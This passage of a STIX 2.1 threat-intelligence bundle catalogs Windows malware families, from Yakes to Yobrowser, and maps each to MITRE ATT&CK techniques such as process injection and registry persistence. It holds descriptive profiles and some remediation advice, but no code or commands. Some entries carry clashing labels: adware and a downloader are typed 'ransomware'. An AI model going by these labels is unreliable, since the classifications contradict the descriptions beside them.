      "description": "Yakbeex exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--178ac26a-c73a-59bb-8923-f2d8a5e42a15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e0088b0-f8a0-5499-bb02-734fa3666a67",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yakbeex exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb6a6db9-4ae8-5f6d-9807-543d4ac77a96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e0088b0-f8a0-5499-bb02-734fa3666a67",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yakbeex exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64f04c26-8381-576f-a6e2-3839af850baf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e0088b0-f8a0-5499-bb02-734fa3666a67",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yakbeex exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3f6927d-24e4-516e-88b1-13d6d9c3f5f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7e0088b0-f8a0-5499-bb02-734fa3666a67",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yakbeex exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0c2b9b56-4d86-550a-8164-2e32b67515a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Yakes",
      "description": "Trojan:Win32/Yakes (widely cataloged across antivirus telemetry as Trojan.Yakes or Win32/Yakes) is a prolific family of obfuscated trojan downloaders and multi-stage loaders closely intertwined with Dorkbot botnet distribution operations. Engineered to serve as an initial foothold on compromised Windows endpoints, Yakes utilizes multi-layer polymorphic crypters, dynamic API hashing, and anti-emulation routines to evade static antivirus detection. Upon execution, Yakes decrypts its secondary core in memory and executes process hollowing against trusted system processes (such as explorer.exe or svchost.exe), establishing an encrypted HTTP or IRC beacon to remote command-and-control servers to receive instructions and silently stage high-impact secondary payloads\u2014including banking trojans, information stealers, and enterprise ransomware. (Observed samples in benchmark: 751)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Yakes",
        "Trojan:Win32/Yakes",
        "Trojan.Yakes",
        "Win32/Yakes",
        "Yakes Downloader",
        "Dorkbot-Yakes",
        "Trojan.Win32.Yakes"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Yakes",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/yakes"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0308d79d-4bc9-55f7-9847-d45a48ef1fa5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0c2b9b56-4d86-550a-8164-2e32b67515a4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yakes exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--225ced3b-4655-59fd-bb47-ed3fe8dd79f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0c2b9b56-4d86-550a-8164-2e32b67515a4",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yakes exhibits technique T1055.012 (Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e791a19e-7358-52d9-b386-123ba79d2c9f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0c2b9b56-4d86-550a-8164-2e32b67515a4",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yakes exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--465980f1-ddee-57b6-8c02-afd22bf396b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0c2b9b56-4d86-550a-8164-2e32b67515a4",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yakes exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d748e518-64f6-58e9-b129-0fa5e2ff4bfa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0c2b9b56-4d86-550a-8164-2e32b67515a4",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yakes exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59a35970-2bb1-5f1b-9c2b-004a1f3aee52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0c2b9b56-4d86-550a-8164-2e32b67515a4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yakes exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c0d2d43d-bac6-5570-874f-4358b6192017",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Yantai",
      "description": "Yantai (classified in threat databases as TrojanDownloader:Win32/Yantai and Backdoor:Win32/Yantai) is a stealthy trojan downloader engineered to establish persistence and download secondary crimeware onto compromised Windows hosts. Typically disseminated via exploit kits, drive-by downloads, and pirated software cracks, Yantai executes initial environment discovery to check for hypervisor and sandbox artifacts. It drops a disguised executable into %APPDATA% or %TEMP%, establishes autostart persistence via Windows Services or Run registry entries, and queries remote C2 servers via encrypted HTTP/HTTPS GET requests to retrieve and execute secondary payloads (such as banking trojans, keyloggers, and cryptominers). (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Yantai",
        "Trojan:Win32/Yantai",
        "Win32/Yantai",
        "Yantai Downloader",
        "Backdoor:Win32/Yantai"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Yantai",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/yantai"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--be6aa7fb-1b23-5221-8d11-d3f144d2e159",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0d2d43d-bac6-5570-874f-4358b6192017",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yantai exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73d2f76d-7466-5dc1-a323-a00498d035d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0d2d43d-bac6-5570-874f-4358b6192017",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yantai exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c13aae11-4317-56e7-bcd6-1be211eccdf1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0d2d43d-bac6-5570-874f-4358b6192017",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yantai exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ae93355c-e9a7-5104-b6d5-821d2df6a5ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0d2d43d-bac6-5570-874f-4358b6192017",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yantai exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb310370-aa43-5d42-bef5-c10e6987e690",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0d2d43d-bac6-5570-874f-4358b6192017",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yantai exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ba35a948-80d7-5e46-9796-83cdf0f3994a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Yelloader",
      "description": "Yelloader (tracked across security intelligence catalogs under signatures including TrojanDownloader:Win32/Yelloader, Trojan:Win32/Yelloader, and Trojan.Yelloader) is an evasive modular trojan downloader and stager active since 2016. Infiltrating endpoints primarily through malicious email attachments and weaponized installers, Yelloader uses anti-analysis techniques including hypervisor detection and delayed execution to bypass sandboxes. It establishes persistence via Windows Registry Run keys, beacons out to C2 servers over HTTPS, and downloads encrypted secondary binary payloads dropped into %Temp% or hollowed into trusted system processes. (Observed samples in benchmark: 30)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Yelloader",
        "Trojan:Win32/Yelloader",
        "Trojan.Yelloader",
        "Win32/Yelloader",
        "TrojanDownloader:Win32/Yelloader.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Yelloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/yelloader"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--76b82942-bc16-5519-95fc-f5bcf62bbee2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Yiwanzhushou",
      "description": "<h3>Executive Summary</h3>\nYiwanzhushou is an aggressive Potentially Unwanted Program (PUP) and Adware application that operates primarily as a Browser Hijacker. It masquerades as a helpful browser extension, search optimizer, or coupon finder. Its true purpose is to forcefully inject advertisements, alter critical browser settings, and heavily monetize the infected endpoint through affiliate traffic generation and data harvesting.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nYiwanzhushou relies almost entirely on deceptive software bundling. Users typically encounter it when downloading \"free\" software from unofficial, localized web portals or third-party aggregators. The adware is installed silently in the background during the primary software's setup process, often utilizing deceptive \"Advanced\" or \"Custom\" installation screens.\n\nOnce installed, the software employs highly aggressive tactics:\n<ul>\n<li><strong>Aggressive Browser Hijacking:</strong> The software installs persistent extensions across Chrome, Firefox, and Edge. It forcefully modifies the default homepage, search engine, and new tab page to route all traffic through affiliate-monetized search engines controlled by the adware developers.</li>\n<li><strong>System Watchdogs and Rootkit Tactics:</strong> Yiwanzhushou frequently installs background \"watchdog\" services that actively monitor the registry and browser settings. If a user attempts to remove the extension or change their homepage back to a legitimate search engine, the watchdog service instantly reinstalls the adware configurations.</li>\n<li><strong>Ad Injection and Overlay:</strong> It injects its own JavaScript into legitimate websites, overlaying pages with intrusive pop-up ads, sliding banners, and embedded video advertisements, significantly degrading system performance and user experience.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Yiwanzhushou is generally not classified as destructive malware (like ransomware), it poses a severe threat to system stability, user productivity, and privacy. The aggressive persistence mechanisms cause significant IT overhead, and the constant ad injection consumes massive CPU and RAM resources. The tracking telemetry also violates corporate privacy policies.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode and Process Termination:</strong> Due to the aggressive watchdog services, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the adware's defense mechanisms from launching before attempting uninstallation.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus often ignores PUPs. Utilize a reputable enterprise anti-malware solution (specifically tuned for Adware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Browser Factory Reset:</strong> Following the removal of the underlying files, a full factory reset of all installed web browsers is absolutely required to purge the malicious extensions and hijacked settings.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Yiwanzhushou",
        "PUP.Yiwanzhushou",
        "Win32/Adware.Hijacker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Yiwanzhushou",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/yiwanzhushou"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb80add0-359c-53ff-9bce-9962a0cc41d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76b82942-bc16-5519-95fc-f5bcf62bbee2",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yiwanzhushou exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad533653-0b7b-54d9-9526-103b95629fe0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76b82942-bc16-5519-95fc-f5bcf62bbee2",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yiwanzhushou exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a0457d4-7058-5c63-b70a-67c1aa9c5814",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76b82942-bc16-5519-95fc-f5bcf62bbee2",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yiwanzhushou exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c37a583c-7d45-5301-ab15-ee2fb9955ef4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ymkfawdgfnmi",
      "description": "<h3>Executive Summary</h3>\n\"Ymkfawdgfnmi\" is a machine-generated detection signature utilized by advanced heuristic antivirus engines. It does not identify a specific, named malware family, but rather flags an executable file or network request that exhibits characteristics strongly associated with Domain Generation Algorithms (DGAs) or heavily obfuscated malware droppers.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nThe pseudo-random string \"Ymkfawdgfnmi\" is typical of the naming conventions used by security vendors when an unknown file triggers behavioral alerts but fails to match a known static signature. \n\nFiles or network requests flagged with this identifier frequently demonstrate:\n<ul>\n<li><strong>DGA Communication:</strong> The malware attempts to resolve DNS queries for long, random, nonsensical domain names. This is a common tactic used by botnets and trojans to locate their command-and-control (C2) servers while evading static IP blocklists.</li>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed or encrypted using custom algorithms, aiming to hide the true malicious payload from static analysis and reverse engineering tools.</li>\n<li><strong>Process Injection:</strong> The program attempts to execute Windows APIs to inject code into legitimate system processes, attempting to bypass local firewalls and execute stealthily.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nWhile a generic detection lacks the context of a known family, an alert for this identifier is a severe security event. It frequently indicates the presence of a zero-day threat or a highly evasive initial access dropper designed to establish a beachhead for a larger, targeted attack.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the endpoint from the corporate network immediately to halt the DGA communication and prevent the potential download of secondary payloads.</li>\n<li><strong>DNS Log Analysis:</strong> Analyze corporate DNS logs for the specific pseudo-random strings generated during the alert to identify other potentially compromised hosts beaconing to the same infrastructure.</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated malware sandbox to monitor its behavior, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.DGA",
        "Suspicious.Ymkfawdgfnmi",
        "Heur.Ymkfawdgfnmi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ymkfawdgfnmi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ymkfawdgfnmi"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f69c780-80ae-58a9-b6c7-3b2b7c1633db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c37a583c-7d45-5301-ab15-ee2fb9955ef4",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ymkfawdgfnmi exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16745c44-5161-55a9-ad71-5a46ac5ffb6c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c37a583c-7d45-5301-ab15-ee2fb9955ef4",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ymkfawdgfnmi exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76e4019f-425b-58fe-9faf-aa82c326c08c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c37a583c-7d45-5301-ab15-ee2fb9955ef4",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ymkfawdgfnmi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c3d179de-d39a-5da3-a2d4-716b1555bde8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Yobdam",
      "description": "Trojan:Win32/Yobdam is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Yobdam</b><br>To an end-user, a Yobdam infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Yobdam is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Yobdam is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Yobdam frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Yobdam reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Yobdam",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/yobdam"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--414107c7-d066-54b2-8bd0-4b5d010e67cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3d179de-d39a-5da3-a2d4-716b1555bde8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yobdam exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cdd6f5b2-a4ab-500b-825e-70a615a1738d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3d179de-d39a-5da3-a2d4-716b1555bde8",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yobdam exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1206a69-7614-513e-88e0-0d95a328e549",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3d179de-d39a-5da3-a2d4-716b1555bde8",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yobdam exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--568924d3-051d-5d62-8b60-fa220dce8436",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3d179de-d39a-5da3-a2d4-716b1555bde8",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yobdam exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8aef7a1-a196-5917-b7c8-119378268a82",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c3d179de-d39a-5da3-a2d4-716b1555bde8",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yobdam exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0f2ba5f3-a6a4-5cac-b5a9-f695395ebebe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Yobrowser",
      "description": "YoBrowser (identified in security telemetry under detections including PUA:Win32/YoBrowser, Trojan:Win32/YoBrowser, and Adware:Win32/YoBrowser) is a deceptive web browser clone and adware distribution framework active since 2018. Packaged as a customized Chromium-based application promising enhanced privacy and browsing speed, YoBrowser is distributed via pay-per-install bundlers, cracked software portals, and deceptive full-screen 'Update Recommended' notifications. Once installed, YoBrowser aggressively overwrites Windows file type associations (.html, .htm, .pdf) and URL protocol handlers (http, https) to force itself as the system default web browser. In doing so, it locks user search queries to sponsored revenue-sharing search gateways, forces pre-loaded commercial bookmarks into the toolbar, and injects unclosable interstitial pop-ups and floating display advertisements into arbitrary browsing sessions. YoBrowser also monitors user web browsing activity and transmits search history to remote advertising servers. (Observed samples in benchmark: 90)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/YoBrowser",
        "Trojan:Win32/YoBrowser",
        "Adware:Win32/YoBrowser",
        "YoBrowser"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Yobrowser",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/yobrowser"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c015a5ad-dddb-56ab-8c03-7b6553d35133",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f2ba5f3-a6a4-5cac-b5a9-f695395ebebe",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yobrowser exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9341407e-331a-5310-aee5-453dd734d19c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0f2ba5f3-a6a4-5cac-b5a9-f695395ebebe",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Yobrowser exhibits technique T1176 (Browser Extensions)."
    },
    {
